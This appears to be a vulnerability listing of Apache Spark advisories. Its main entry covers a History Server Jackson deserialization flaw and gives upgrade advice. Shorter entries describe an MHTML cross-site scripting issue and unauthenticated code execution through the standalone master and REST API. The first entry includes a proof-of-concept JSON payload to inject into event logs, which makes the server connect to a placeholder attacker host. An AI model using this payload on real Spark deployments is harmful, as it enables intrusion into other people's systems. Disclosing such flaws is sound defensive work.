Package Instance

Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

## Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

## Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

## Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

```
{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
```
3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

## Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Cross-site Scripting
It is possible for an attacker to take advantage of a user's trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.

Improper Authentication
In all versions of Apache Spark, the standalone resource manager accepts code to execute on a `master` host, that then runs that code on `worker` hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected.

Improper Authentication
Apache Spark standalone master exposes a REST API for job submission, in addition to the submission mechanism used by spark-submit. In standalone, the config property `spark.authenticate.secret` establishes a shared secret for authenticating requests to submit jobs via spark-submit. However, the REST API does not use this or any other authentication mechanism, and this is not adequately documented. In this case, a user would be able to run a driver program without authenticating, but not launch executors, using the REST API.